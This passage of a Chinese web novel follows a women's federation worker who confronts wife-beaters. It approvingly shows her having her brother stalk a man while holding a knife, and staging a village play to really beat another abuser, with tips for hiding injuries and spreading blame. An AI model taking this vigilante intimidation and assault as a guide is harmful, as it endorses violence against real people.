谈林默默地算:一百多个月是几年来着?十年。他比对方大十来岁,这也能叫同龄人? 谈林看完检查,就说道:“行啦,你能认识到自己的错误就行。以后这种错可千万别再犯了。” 宋知南这次都没争论她没犯错,错的是李大庆。这已经不重要了。 她接着问了一个跟思想工作无关的问题。 “谈书记,我有一个问题问了好几个人,他们都回答不出来,我现在想请教一下你。” “你问吧。” “我记得历史上有一个领导想招募贤才,他手下给他提建议,让他花一千金买千里马的马骨,表示他是真的想买千里马,真的重视人才。这个领导叫什么名字来着?这个故事发生在哪个朝代?” 谈林想了好一会儿,不确定地答道:“这个国君应该是燕昭王吧?战国时期的故事。” 宋知南:“哦对对,就是燕昭王,这人挺有魄力,不拘一格降人才,他这个举动一下子就打开了燕国的局面。” “谈书记,谢谢你,我问了好几个人,今天终于得到了正确的答案。你忙吧,我不打扰了。” 宋知南飘然离去,留下一头雾水的谈林。做思想工作应该是这样做吗?她问千金买马骨的事是几个意思呢?这个宋知南不仅仅是杠头吧? 宋知南一出了谈书记的办公室,就有人探头探脑。要不是现在正在上班,他们这就想冲出去打听打听。 何黛不用下班就能打探,她迫不及待地问:“怎么样?新领导没批评你吧?” 宋知南满意地说:“新领导挺好的,我给他留下了深刻的印象。” 她已经看出来了,这个谈林有一定的智商,但不太高。关键是他现在手下无人可用啊,正需要她这样的人才。 她主要是为了新领导着想,年轻领导不用年轻人,难道要用那些老油条? 第107章 宋知南出来后就把李大庆写举报信的事告诉了贺主任, 贺主任也挺生气。 她特地把李大庆叫出来狠狠批评了一顿,李大庆认错认得贼快, 只说自己那天喝醉了,神智不清醒,以后再也不会了。 贺主任问道:“那你举报信的时候神智清醒吗?特地挑这种时候写,我看你挺清醒的呀。” 李大庆目光闪烁:“贺主任,那个宋知南本来也有错,哪有她这样动不动就劝人离婚的。你们妇联的工作人员要都像她那样,这社会还不乱了套了?” 贺主任严厉地说:“像她这样不会乱了套,男人都像你这样才都完了。工作不好好干,整天在家冲着自家媳妇挥拳头耍威风,你算什么男人?” 李大庆心里不服,但嘴上却认错认得很溜:“贺主任你骂得都对, 我错了, 我以后再也不打招弟了, 我保证。” 贺主任一离开,李大庆立即站直身子, 眼中闪过一丝狠厉, 这个王招弟回去还是得好好修理,反了天了,她竟然敢去妇联告状。 最可恨的还是那个宋知南,是活腻歪了吧?竟敢伸手管他家的闲事,还敢动手打他。等着瞧吧,他一定会让她好看。 下班后,李大庆没有立即回家, 而是鬼鬼祟祟地跟在宋知南身后。 宋知南很快就察觉了。 李大庆一看宋知南察觉了,就立即停住脚步, 拉开距离,不远不近地缀在她身后。 他太了解女人了,她们胆小懦弱,一个个宛如惊弓之鸟。 他都不用真动手,就这么跟踪几天,宋知南肯定吓得不知所措、惶惶不可终日。 如果宋知南告到领导那里,他就死不承认,就说自己下班也走这边,你总不能不让人路吧? 宋知南一看李大庆这招数,不由得冷笑一声,这种招数谁还不会用了? 她立即摇人,把宋冬宝摇来,交代他一番:“再交给你一个任务:你去给我去盯着李大庆,下班后就去盯,一直盯到他睡觉为止。你手里拿着把刀,啥也不用干,就盯着他,他看见你,你就朝他嘿嘿一笑,并有意无意地扫一眼他的□□。你不动手,他找你的领导告状没用,找公安也没用。” 宋冬宝在别的方面智商平平,但在做坏事方面是一点就透:“姐,我明白了,就是让他误以为我要发疯要把他变得跟我一样,让他整天担惊受怕,生活在恐惧当中?” “对。” “姐,这样还不过瘾,干脆咱们把他再打一顿呗。” 宋知南说:“以前可以,现在时机不对,我正处在事业上升期,得给领导留下好印象。” 她跟李大庆在一个单位,闹得太过,领导肯定会批评。 宋冬宝也是上过班的人,这么一说,他就懂了。 “姐,那咱就等一阵,等风头过了,我找人弄他,你放心,肯定牵扯不到你。” 他打算好了,就算被人发现了,他也绝对不会供出姐姐,就说自己为了给姐姐出气才动的手。 他又没杀人放火,他帮自己姐姐出口气不过分吧? 相比较宋秋实,他觉得自己真是个好人,又不捅谁又不杀谁的。 就算有人告到领导那里,领导又能拿他如何?反正升不升职,评不评先进他也不在乎。 二姐说过,他们只要把三姐哄好了,就一定会有好日子过。 大哥就是看不清形势,分不清大小王,结局才会那么悲惨。 李大庆刚跟踪了宋知南一天,就发现自己也被人跟踪了,他认出了跟踪自己的人是宋冬宝。 他心里不由得一咯噔,宋冬宝不就是那个被割了根的即将发疯的男孩吗?他哥宋秋实捅了自己的亲爸和亲弟后自杀了,大家都在传宋家人有发疯的遗传。 宋冬宝一直朝自己笑,他的手里好像还有刀,他还时不时地看向自己的双腿……中间。 李大庆只觉得某个隐蔽部位在隐隐作痛。 他的噩梦才刚刚开始而已。 宋冬宝一直跟着他到了他家,只在吃晚饭时消失一会儿,很快就回来了,继续盯着他。 这一晚上,李大庆过得心惊胆战的。 第二天,李大庆顶着两只黑眼圈找宋知南质问:“姓宋的,你到底啥意思?你存心报复我是吧?你为什么让你弟弟跟踪我?” 宋知南一脸无辜:“你说我弟啊。他这个人自从我爸没了,我妈走了以后,就特别没有安全感,天天粘着我,下了班就跟着我。他怎么会跟踪你呢?姓李的,你说你是不是在跟踪我?” “谁跟踪你了?” “你没跟踪我,怎么会看到我弟?” “我、我路过那边不行吗?” “哦,那我弟肯定是路过你身边了。” “你——” 杠精值加10。 “可是你弟路过我家门口你又怎么说?” 宋知南无赖地笑笑:“你能路过我家附近,我弟就不能路过你家附近吗?” 李大庆被噎得一句话接不上来。 过了一会儿,他缓口气接着再战:“你弟要是再跟踪我,我就去找他的领导和你的领导。” 宋知南:“你尽管去找啊,你跟踪我不就是觉得你没有真动手,我找领导报公安都没用吗?你不就是想给我施加精神压力让我自己崩溃吗?怎么?你能想到的招数,我就想不到吗?还是说你觉得你那装满水和粪的脑子能比得上我这全厂区有名的好脑子?真是地有多高产,你有多大胆。蚍蜉撼大树,不自量力。” 李大庆收获一肚子气离开了,宋知南收获了20杠精值。 宋冬宝才跟了李大庆三天,李大庆已经处在崩溃边缘。 宋冬宝还挺瞧不上他:“真是没用,才跟了三天就吓成这样了。” 宋知南说:“打女人的男人都是怂货,遇上硬茬子比谁都怂得快。你继续跟,我要让他对你印象深刻,一看到你就心里一咯噔。等风头过去了,找人把他狠揍一顿出出气。” “行。” 宋知南看李大庆快崩溃了,让宋冬宝找到他再痛骂一番:“姓李的,没想到你跟王怀安那个狗东西竟然是一伙的,你们仨早串通在一起了,你等着,我先去找王怀安算帐去,回来再来找你。” 王怀安?怎么还有他的事?李大庆想了一会儿,决定回去问王招弟。 李大庆一吓唬王招弟,王招弟就全部如实招供:“是王怀安让我去找宋知南调解的,说她这人嘴特别厉害,有本事,肯定能帮我。” 李大庆凶相毕露,解下皮带狠抽了王招弟一顿,直到打累了才停手。接着,他骂骂咧咧地去找王怀安算帐。 王怀安死不承认,两人险些动起手来。 周围的邻居也都知道了,原来这事王怀安还插了一脚,对他的观感更不好了,这人看着人模狗样的,可真阴险。 田容得知真相后,狠狠地骂了王怀安一顿,说不想跟他这样的小人过了,回娘家去了。 几天后,宋知南在下班回家的路上遇到了王招弟。 王招弟缩着肩低着头,一副可怜相。 宋知南装作没看见她,继续往前走,王招弟小跑几步跟上来,低声道歉:“宋同志,对不起,我是被李大庆逼的。他说,我要是不在举报信上签名他就打死我。” 宋知南发现她面对王招弟时只有无语,骂她的话有很多,但她不想骂了。 她只能无奈地说道:“王招弟,这世上能帮你的人真的不多,我是为数不多的人之一。但是,你却反咬我一口,我以后不会再帮你,别人也不会了。但我也说不上多恨你,我甚至都懒得报复你,因为你的苦日子还在后头呢。你以后别再来找我了,我眼不见心不烦。” 宋知南快步离开了王招弟,这种沉重的无力感让她难受。 还好,时代终究会进步,谁也抵挡不住。 女性的思想水平会螺旋性地上升。 面对生活中细碎的不如意,她就用宏大叙事来冲淡。 遇到宏观上的不如意,她再用生活中的小确幸小快乐来遮掩。 宋知南自己把自己哄好了,她又变成了那个斗志满满的宋知南。 过了两天,青阳郊区的酱油厂和红日农场邀请文工队去演出。 贺主任问宋知南是否愿意带队去,宋知南爽快答应。 她立即联络文工队的队员,准备演出事宜。 大家见了宋知南纷纷慰问她,见她还跟以前一样,心里不约而同地松了口气,这姑娘真是坚强啊。 王翠花人到不了,礼送到了,送给宋知南两个笔记本。 宋冬宝一听说要有演出,也想要跟着去,至于他还要上班,请假不就完事了吗?反正领导同事对他都很宽容。只要他做得不过分,通常是睁一只眼闭一只眼。 章无双不知从哪听说宋知南要下乡演出,便自告奋勇过来帮忙。 她听说了前几天发生的事,安慰了一下宋知南:“宋同志,那个李大庆和王招弟太可恶了,他们怎么能这样呢?妇联经常遇到这样的事吗?” 宋知南说:“不经常遇到。” 章无双舒了一口气,“那就好,我还担心这样的事多了我处理不好呢。” 宋知南反问道:“怎么,你想来我们妇联?” 章无双甜甜一笑:“嗯,姐姐你真聪明,一眼就看出来我的意图了。” 宋知南:不是,你刚才自己不都说出来了吗? “可是我们妇联现在不招人。” 章无双说:“我听我爸说,你们贺主任升上去了,没有意外的话你应该会接替贺主任的位置,你们妇联就会空出一个位置,正好我就来了。” “就算有位置,你怎么确定你一定能进来?” 这个问题把章无双也问住了,她也不知道为什么,她就觉得她一定能进来。 宋知南一想也是,章华是钢铁厂人事科的科长,钢铁厂可比纺织厂大多了,难免会有人求到章华。有些领导干部不方便把亲戚安排自己管理的工厂,就运作关系安排到别的厂子,大家等于资源互换。像妇联干事这种职位,只要有空缺,对于章无双来说确实不难得到。 宋知南感慨道:“无双,你看你自己都没有察觉到你所拥有的优势,就是你有底气。很多东西对你来说都很容易得到,但对于别人来说可能难如登天。” 被宋知南这么一提醒,章无双也隐隐察觉到了。从小到大,凡是她想要的东西,父母是尽可能地满足她。久而久之,她都养成习惯了。 “妇联工作没有你想像中的那么好,这样吧,反正你也闲着无事,就跟着我实习一阵吧。” “我爸妈也是这么说的,开始他们不同意,后来两人关屋里嘀咕了一阵,又同意了,他们说我需要锻炼,跟着你挺好的。” 章无双的到来等于多了一个免费劳动力,大家自然乐意。宋冬宝一看,这姑娘一点都不厉害,关键还嘴甜,他也觉得这人能处。 宋知南临下乡前,特地去了一趟谈书记的办公室。 “谈书记,你看看,这是我们的作品集和我制作的节目单,你给把把关。” 谈书记认真看了一会儿,最后在某个剧本上多加了一句口号。宋知南看一眼,见并不影响剧情,也就由着他了。 文工队演出的第一站是酱油厂。 酱油厂的工人挺热情,看演出时用力鼓掌,大声喝彩,情绪价值给的足足的。 演出结束后,酱油厂给她们每人送了3瓶酱油,就连章无双也分到了三瓶,她高兴得差点蹦起来。 宋知南做为队长欣然接收东西并道谢,同时她还拿出一份评分表让酱油厂的代表打分评价,最喜欢哪个节目,有什么感想。 对方倒也挺配合,直接给了100分,还抓耳挠腮地写了句评语:“好,特别好。” 酱油厂之后是红日农场。农场送了她们很多蔬菜和一些粗粮。 到写评语时,农场代表还鄙视了一下酱油厂的评语:“这写得也太没文化了吧?好歹还是工人呢,还没有我们农业工人文化水平高。” 他说着话,一笔一划地写评语:“节目真精彩,工人齐喝彩。” 宋知南是个见缝就插针的人,当下便夸道:“哇,你写得评语竟然是押韵的,这文化水平可不是一般地高。” “一般一般。” 宋知南热情问道:“同志,你贵姓?” “免贵姓宋。” “本家呀,咱们五百年前是一家。” “哈哈哈,还真是。” 宋知南一聊才得知这位宋同志是宣传科的科长,平常负责宣传口的事,字写得不错,有点文化水平。 宋知南再次夸道:“宋科长,听你说话就感觉你文化水平是真高,真想拜读一下你的大作。” 宋科长主动说道:“那什么,我给你们单位写一封表扬信。你们等一会儿哈。” 说完,他返回办公室去写表扬信了。 众人:“……”还能这样?他们学到了。 半小时后,宋科长拿着新鲜出炉的表扬信出来了。 宋知南让大家伙轮流看了下表扬信,大家挨个表扬宋科长,宋科长的脸都快笑酸了。这帮人能处。 宋科长不舍地把众人送到农场大门口,跟先牛春草和宋知南握手告别:“牛大姐,宋同志,你们有空可以来找我。” 牛春草朗声笑道:“好的好的。” 宋科长还告诉宋知南一个秘密:“宋同志,我觉得咱们姓宋的在文学创作方面是有点天分的,你看唐诗宋词,也就唐诗能跟咱们并列。” 宋知南由衷地感慨道:“宋科长,你真是人才,这个角度我都没想到。” 等出了农场,众人忍不住相视大笑。 章无双的笑点最低,笑得直不起腰来。 李群英疑惑地问道:“男人都这么喜欢被夸吗?” 宋知南也就随便夸一夸宋科长,好家伙,对方高兴得像个四十多岁的大孩子。 牛春草说:“被夸谁都喜欢。区别是,你夸女孩子她不一定相信,你夸男人夸得多夸张他都敢信。男人说白了就是个孩子,无论多大年纪的都是。” 宋知南对牛春草竖大拇指:“牛阿姨,姜是老的辣,你的眼光真毒辣。” 宋知南想起她家有一个亲戚是公司销冠,客户群体以男人居多。据说她成销冠的秘诀就是深入钻研并灵活运用了《儿童心理学》。 她曾建议宋知南也研究一下这本书,讨好一下上司,别整天整治老板和同事。 可惜宋知南有讨伐性人格,她知道男人喜欢什么,可就喜欢跟他们对着干。 不过嘛,现在情况变了。为了升职,也不是不能灵活运用一下《儿童心理学》。 等到回到家里,宋知南把东西给分了,章无双也分到了一份,她一路蹦跶着回家向爸妈显摆去了。 宋知南把自己那份蔬菜分成几份,再拿着评分表和表扬信,先去了谈林的办公室。 “谈书记,我们演出回来了,我过来跟你报备一下。” “哦,你们回来了,一切都还顺利吧?” 谈林表现得有点高冷,但对于宋知南这种事事报备的做法倒是不反感。 宋知南把蔬菜递上去:“谈书记,这是农场的人送的,这可不是普通的蔬菜,它代表着农业工人的情谊,是他们的一片心意。” 谈书记心里挺高兴,但还是坚持原则:“心意我领了,东西不能收,你送到食堂给大家加餐吧。” “好的。” “还有,这是评分表和表扬信,农场宣传科的宋科长非要写,不写不足以抒发他的感情,你看看。” 谈书记飞快地浏览了一眼,这封表扬信写得真情实感,他矜持地点点头:“好,你们做得挺好。” 宋知南:“谈书记,金奖银奖都不如百姓的夸奖,这些农业工人们对我们非常热情,还夸咱们纺织厂领导有觉悟敢创新想得远。” 谈林的嘴角微微翘起,夸奖谁不喜欢呢? 出了谈书记的办公室,宋知南又给吴厂长、孙副厂长和杨主席去送菜,说辞差不多,略有改动。 无一例外的,这些蔬菜最后都被送去了食堂后厨。 孙副厂长听说宋知南也去了谈书记的办公室,嘴里没说,心里却琢磨开了。 谈书记上次给宋知南做思想工作,听说没怎么批评她,难道说他很欣赏宋知南? 宋知南这种人可不能让对方阵营给拉拢去。 宋知南敏锐地察觉到孙副厂长对她的态度有所转变,果然,还是领导们改变他们的看法比较方便,你看,他们不是已经开始改变了吗? 第108章 因为有三八节文艺汇演这个由头在, 宋知南和李群英现在非常自由。 工作日她们也可以在外面晃荡,问就是在寻找素材和灵感。 不过, 两人都是不愿意浪费时间的人,也真的是在想新节目。 中间经过过年,再加上宋家又发生了一连串的事情,宋知南也没空闲去想新节目。现在她有时间琢磨了。 她跟李群英坐在温暖的阳光下,一边喝茶一边盘点最近发生的新闻和各种事情,看看哪个可以改编成节目搬上舞台演出。 李群英翻看着宋知南递过来的妇联工作记录,指指王怀安和田容的案例说,“这个可以,挺典型的。生活中这种男人挺多的。大家印象中总觉得女人更爱唠叨,其实男人唠叨起来更要命。比如我爷爷和大伯就特别爱唠叨,你干点什么他们都能指点指点。我爸以前也爱唠叨, 但被我妈镇压下去了。” 宋知南说:“那这个算一个, 回头咱俩好好琢磨一下台词。对了, 还得问田容要一下授权。” “行。” 宋知南又说:“其实梅小玲的案子也挺有代表性。” 梅小玲的事李群英也听说过,她摇头:“我建议先不要, 她爸妈非常难缠。还有就是, 梅小玲家的事情有代表性但同时争议性也很大。要是在台上演出,咱们会收到很多投诉。再说了,梅小玲只是悄悄来找你咨询问计,若是公开了,不利于她的计划和反抗。” 宋知南一听还真是,这个先放着,以后再说。 宋知南突然想起了宋湘, 便跟李群英讲了她处对象的事。 李群英一拍大腿:“这个真不错,挺有戏剧性和启发性。” “我得问我大伯母和堂姐要授权。” 宋知南抽空去问两人能不能把上次的事搬到台上演出。 宋湘不反对, 何梅更是强烈赞同。 “哎哟,小南你真是慧眼如炬,聪明伶俐。我跟你说,这个节目一出来必然引起轰动。可怜天下父母心呐,可怜了我们这些老母亲,自己吃亏上当得出的经验就想传给孩子,让她们少走弯路,可人家就是不爱听。” 宋湘无奈地说:“妈,我最后不是听你的了吗?你还抱怨什么?” 何梅跃跃欲试:“我要是有时间,就能出演里面那个睿智聪明的母亲,要不是咱们谋划得周全,湘湘哪那么快就醒悟过来?” 宋湘吃了一惊:“妈,这一切都是你谋划好的?” 何梅这才察觉自己说漏了嘴,不过事已至此,也没什么可隐瞒了。 她坦然承认:“是我计划好的又怎样?刘俊要不是那种人,我的计划有用吗?那诸葛亮的空城计再好,也得对手配合不是?” 宋湘又想气又想笑。 宋知南在旁边劝道:“湘湘姐,你真该庆幸有大伯母这样的好母亲。她聪明有远见又是真心替你着想谋划。你想想我二姐,但凡我爸妈能有大伯母十分之一好,我二姐也不至于嫁给陈安华。她现在是解脱了,可付出了多大的代价呀。” 何梅深以为然,知夏真是可惜了。她要是李玉华,绝对不可能眼睁睁地看着自己闺女嫁那么一户人家。 他们家的孩子也得下乡,她没有任何犹豫地就让儿子去了。 他一个当哥哥的,皮糙肉厚,多锻炼准没错。湘湘那么漂亮的女孩子哪能下乡?那不是羊入虎口吗? 何梅是不太理解宋上进和李玉华的做法,不理解也不尊重,背后没少骂两人是傻叉糊涂虫。 宋知南得到了两人授权,回去开始编节目。同时,她也询问了田容的意见,田容欣然同意,至于王怀安,没人在意他。 这次她们新添了三个节目,一个以田容王怀安为原型的《闭嘴吧,男人》;一个以何梅宋湘为原型的《虎妈娇女》;第三个以王招弟和李大庆为原型的《家暴》,不过结局是光明的,跟现实不一样。 新节目在大礼堂试演了一下,大家果然反响强烈。 有人从中看到了自己,有人从中看到了别人,更多人是垂死病中惊坐起,受害的竟是我自己,有病的都是别人。 “小宋目光如炬如刀,一眼就看出了男人的真面目。我家老头子就是很爱唠叨,那张嘴除了唠叨吹牛吃饭没干过别的。” “对对,整天就是叨叨逼。奇怪的是大伙还说咱们女人唠叨,这些人是瞎还是傻呀?” “小宋说了,人家不瞎也不傻,人家就是故意的。这么说有利于他们。” “你进步挺快嘛。” “还有那什么虎妈,我就是虎妈呀。我是真心替我闺女着想,她还不领情。不行,我得叫我闺女来一起看这个节目。” “把你家老头叫过来一起看呗。” “你家老头心脏怎样?可别被刺激了。” “没事,死不了,死了更好。” 在大家的热烈请求下,文工队开始了第二场试演,这次演出出了点状况。 有个老大爷情绪激动地找宋知南要说法。 “小宋,这事你做得不地道呀,你没经过我的允许就把我搬到了舞台上,你得给我个说法。” 宋知南大吃一惊:“大爷,我跟你不熟啊,怎么会以你为原型?这个节目是以我老家的爷爷和叔叔为原型的。怎么?你也那么爱唠叨?” 宋知南好声劝道:“大爷,我劝你别声张,一声张大家都知道你如剧中这般了。” 大爷气哼哼地离开了。 他一边走一边嘟囔:“现在的年轻姑娘真是一代不如一代,越来越刻薄。” 有人立即向宋知南传话:“小宋,刚才的胡大爷说你了,说年轻姑娘越来越刻薄。” 宋知南不以为意:“刻薄咋了?不聪明的能刻薄得了吗?以前的姑娘老实能干,也没见他们珍惜呀。现在的老头真是的,一代不如一代,一点都不慈祥宽容。” 这话又被传话的人给传回去了,胡大爷受到了二次伤害。 他气得把儿子叫出来严肃地嘱咐道:“你要记住,你绝对不能娶宋知南,听见没有?” 他儿子小胡愣了一下,反问道:“爸,人家宋知南说要嫁给我了吗?” 胡大爷怔了一下,但仍然坚持自己的意见:“我管她说什么,反正你就是不能娶她。” 小胡无奈地答应了:“行行,我答应你,我绝对不娶她。” 说得他想娶人家就答应嫁他似的。 他都不用照镜子都知道自己配不上人家宋同志。 新节目试演两场后,文工队就接到了南郊生产队的演出邀请。 南郊生产队是种菜的,种的菜直接供给青阳市的供销社和菜店,他们社员的生活条件比其他地方的社员稍好些。 这次演出文工队是新老节目一起演出,农村观众对《乡下媳妇城里郎》、《婚闹》、《家暴》更有共鸣。 《家暴》在台上演出,有同样的经历的赵桂枝在台下失声痛哭。 等到宋知南和李群英过来询问情况时,一个慈眉善目的大娘拉着宋知南说:“娃儿,你们别多心。她是为自个儿哭的。这个桂枝命苦,娘家没人了。她婆家和男人拼了命地磋磨她,又打又骂,不就是觉着她没娘家人撑腰又无处可去吗?” 赵桂枝哭了一会儿,也挺不好意思的,赶紧擦干眼泪:“宋队长,你们的节目演得太好了,我不小心掉进去了,哭一会儿心里好多了。” 李群英在旁边气愤地问道:“你们生产队应该有妇联主任吧?她们不管吗?” 赵桂枝苦笑:“妇联主任是我男人的堂姐,我去告状,她也就是劝劝,不顶用。” “大队长呢?” “他说是家务事,也不管。” 李群英气呼呼地对宋知南说:“太可气了。” 牛春草劝道:“这种事多的是,你气不过来的。” 她们说着话,民兵队的人搬来了三张桌子,说是吃饭用的。 他们吃的饭是全村一起凑份子请的,东家一道菜,西家几个馍的送过来。 这些乡亲们对远道而来的客人还是挺大方的,端来的都是好菜。 有腊肉炒萝卜,白菜烩豆腐,还有韭菜炒鸡蛋等等。赵桂枝送来了一大锅自己熬的八宝粥:“昨天大队长说全村请你们吃饭,我早上就把粥熬上了。” 大家尝了一勺粥,意外地好喝,软糯香甜,稀稠正好,里面还放了很多好东西。 “谢谢大嫂,粥真好喝。” 赵桂枝腼腆地笑笑。饭菜都端上来了,她站在一旁不舍得走,牛春草就拉着她聊天。 宋知南邀请她一起坐下吃饭,赵桂枝摇头:“我在家吃过了,就是想跟你们多聊几句。我看节目的时候好羡慕戏里边的人啊,她们有青天一样的妇联做主,不像我们乡下的,没人肯管。” 宋知南说:“我们妇联不是青天,我们没有执法权,只能劝劝,有的人听,有的人不听。像这个节目的原型是我们那儿的一个女同志,她被她男人打了,我帮她,她反过来咬了我一口,跟着她男人一起举报我。” 赵桂枝十分不解:“这个女同志怎么能这样呢?你帮她,她还反咬你一口,以后不是更没人帮她了吗?”这个道理连她都懂,对方咋能不懂呢? 宋知南说:“她没有你明理,反正我以后是不会帮她了。” 赵桂枝说:“要是有人肯这么帮我,我会记一辈子的。可惜了,宋同志不是我们大队的,你也帮不了我。” 人家宋同志虽说也是妇联的,可是她是红星纺织厂的,怎么也管不到她这里来。再说了,她一个外来的,伸手管村里的事,对她也不好。 宋知南一边说话一边观察着赵桂枝的神色。吃一堑,长一智。经过王招弟的事后,宋知南再帮人时难免会谨慎一些。她刚才说那些话,就是存了试探赵桂枝的心思。 她见赵桂枝没读过什么书,但挺通情达理。宋知南不由得起了恻隐之心。 人是一种很奇怪的生物,只要有了某种本领就很难忍住不用。比如医生就是忍不住想给人治病,杀手就是想收割别人的命。她,就喜欢整治某类人。 宋知南吃完饭习惯溜达一会儿,她顺便送了赵桂枝一段路,在路上试探道:“赵姐,虽然我不是你们这边的,但我做为妇女工作者,总觉得天下女人是一家。我对你的遭遇深表同情,也想尽我所能帮你一把,就是不知道你愿不愿意承担后果。” 赵桂枝听罢,不由得一脸诧异,她确认道:“宋同志,你真的愿意帮我?” “是的。” “可你咋帮我呀?” 宋知南说:“你放心,我自有办法帮你。就是我们离开后,你可能会面临你男人更狠的报复,你还愿意吗?” 赵桂枝考虑片刻,便同意了:“反正我现在都过得不好,他报复就报复呗,哪天我死了,也算解脱了。” 宋知南接着问:“你男人打你时,你反抗过吗?” “反抗过,可是我打不过他。” 宋知南决定按照步骤来,第一步,先找个理由痛打家暴男人一顿出出气;第二步,再借助集体的力量,找大队长和本地妇联干预,能管多少算多少;第三步,想办法提升赵桂枝的个人力量。 罢了,她倒贴一粒大力丸吧,谁像她这么热爱自己的本职工作,她可是倒贴上班。 宋知南飞快地跟赵桂枝说自己接下来的计划,“下午,我们要加演一场戏,其中有个环节是找你们的社员当群众演员,你拉上你家男人积极报名,我会让你们上台。你们演的节目是一个男人打老婆的故事,我是妇联干部,我会让民兵把他捆起来狠揍。然后我们假戏真做,真打他,好好打一顿给你出出气。” 赵桂枝听得眼睛一亮,还能这么干?她越想越觉得妙,这样一来,她既出了气,还不用连累宋同志。 第109章 宋知南又问:“你们村谁跟你男人最不对付?” “朱大海朱大江兄弟俩, 还有我们的邻居李铁锤,铁锤帮过我两回, 我男人污蔑他跟我有一腿,从那以后,他也不好帮我了。” “行,就让他们三个演民兵。” 赵桂枝回去的路上,一路告诉村民,下午还有一场戏,大家伙飞快地吃完饭,收拾好东西准备来看戏。 这边,宋知南回去开了个小会,说了下午的揍人计划。 宋冬宝跃跃欲试:“姐,咱真的能随便揍人?” 牛春草很冷静地问:“小宋, 咱们可是外来的, 打了那家伙没问题吧?咱们不会被村民围攻吧?” 厂里是让她们来演戏的, 是为了增进与贫下中农的友谊的,他们要是跟村民们打群架, 那场面可就不好收拾了。 宋知南摇头:“不会的, 咱们是在演戏,为了逼真,就得假戏真做。” 众人商量一会儿,既然没有风险,又能帮到赵桂枝,那当然是得打。 这个节目跟王招弟那个不一样,是临时编排的。 男的叫田小力, 这人偷鸡摸狗,不务正业, 却娶了一个勤劳善良的好媳妇赵明月。赵明月双亲早已去世,哥哥也生病离开了,她无依无靠本以为田小力是她的依靠,能为她遮风挡雨,不料对方却成为了她最大的风雨。 田小力见赵明月娘家无人,便开始虐待暴打赵明月。赵明月被打得半死,正好被城里来的妇联主任发现了,她痛斥田小力,田小力不服,还想动手打妇联主任,不料,妇联主任当过兵,把田小力揍得抱头鼠窜。 田小力煽动村民们一起围攻妇联主任,在附近拉练练的公社民兵连听到消息赶来阻拦。 妇联主任用领袖思想马列理论劝说村民,村民们幡然醒悟,决定不再姑息纵容田小力这颗老鼠屎,大家一起痛揍他。 大致剧情就这些,台词不多,主要是武打戏。 “大家请注意,一定要打得他够痛,但不能出人命,小伤可以,大伤最好不要有,最好是那种看不出的内伤。除了自己打,还要煽动别人一起打,法不责众。” 众人:“……”奇奇怪怪的知识又增加了。 李群英问:“除了临时加的节目,咱们还演什么?” 牛春草自告奋勇:“我来唱几段样板戏,活跃一下气氛。” 陈小云说:“我来唱一段河北梆子。” 章无双说:“我唱首歌。” “可以了。我会根据现场情况临时加戏,咱们随机应变就行。” “行。” 她们这边商量完毕,村民们已经来得差不多了。 宋知南拿着铁皮喇叭对着大家说:“乡亲们,你们的热情淳朴让我们无比感动。为了回报你们的热情招待,我们决定拿出新编的节目回馈给你们,这个节目是新节目,城里的观众都没看过……” 宋知南的话没说完,乡亲们就嗡地一下议论开来。 “啥新节目啊,城里人都没看过,真的假的?” “还真有可能,我在别的公社有亲戚,他们看的节目真的跟咱们不一样,咱们看的有好多是新的。” “这也正常,咱们离城里更近嘛。” …… 大队长李大河皱着眉头看着这帮乱哄哄的社员,大吼一声:“都给我安静点。” 大家果然安静下来了。 宋知南继续扯着嗓子大声喊:“父老乡亲们,兄弟姐妹们,咱们的新节目叫《生活大舞台,有戏你就来》,也就是说,你们不光可以看戏,还可以上来跟我们一起演戏。被选中的人都是幸运儿。” 大家嗡地一下又议论起来:“哎哟,这有点意思,可惜我啥也不会呀。” “能选中谁呢?” 李群英去找大队长要大队社员的名册。他们演出的地点就在大队部,花名册就在大队部的办公室里,大队长很快就把名册拿了过来。 宋知南随便一翻,就开始点名:“赵桂枝,王大力,朱大海朱大江李铁锤,这几位同志请上台来。” “怎么是他们?” “就是。” 这五个人,除了赵桂枝提前知道内情,其余四人都在状况外:怎么就选中他们了呢?他们也不会演戏啊。 大家催促他们:“还愣着干啥,赶紧上去呀。” 五个人被推到了人群中央的空地上。 宋知南打量了一眼赵桂枝身边的王大力,这人个头不高,但长得挺壮实,一脸的憨厚老实相,光从外表,还真看不出是个爱家暴的畜生。 宋知南开始分配任务:“你们五个是幸运观众啊,咱们的大概剧情是这样的……” 宋知南把刚才商量好的剧情梗概简单介绍了一遍。 王大力嘟囔了一句:“还以为是啥新鲜节目呢,原来是这个。” 李铁锤不满地回怼道:“你瞎嘟囔个啥,好好地听人家宋队长说话。” “关你屁事。” 眼见着两人要掐起来,赵桂枝赶紧劝道:“大力,你少说两句,大家伙都看着呢。” 王大力把眼睛一瞪,“闭嘴,我看你又皮痒了。” 赵桂枝习惯性地瑟缩了一下,低头不语。 宋知南没理王大力,反正一会儿她会用拳头说话。 “我开始分配任务,赵桂枝你演受气的媳妇,王大力你演打媳妇的男人,朱大海海大光李铁锤你们三个演民兵,我演妇联主任,其他人都是群众演员。” 她这个分配任务一下来,大家轰然大笑:“这个王大力不是演他自个儿吗?” “可不是嘛,他肯定能演好。” 宋知南接着说:“几位同志,我要提醒你们几句,为了让节目显得很真,我们会根据剧情设计动作,比如说我会在戏里骂人打人,希望有些同志不要介意,如果你们有谁介意,现在就可以退出。” 这几个齐声喊道:“开始吧,我们不退。” 这一戏开始,是赵明月跟她田小力发生争执,田小力说不过她就开始动手,然后妇联主任宋知南出现。 赵桂枝迅速入戏,她大声控诉:“田小力你就是个人渣,你当初娶我时说会一辈子对我好,结果没两年你就开始动手打我,可怜我为了你生儿育女,为你家日夜操劳,你就这么对我,你这个没有良心的混蛋……” 赵桂枝还没骂完,王大力的拳头已经举起来了,劈头盖脸就朝赵桂枝打过来,那动作熟练得一看就不知道打了多少回了。 众人倒吸了一口冷气。 就在这时,宋冬宝突然窜出来了,他扮演的是热心知青,刚加入村里的民兵队,一看有女同志被打,立即过来制止。 他跟田小力一言不合就厮打起来,宋冬宝打不过田小力,立即摇人。牛奔和大公鸡及时过来帮忙,他们也是热心知青,三人一齐痛揍王大力,雨点般的拳头砸在王大力身上。 王大力不禁有些傻眼,不是,你们还真打呀。 这时,宋知南饰演的妇联主任出现了。 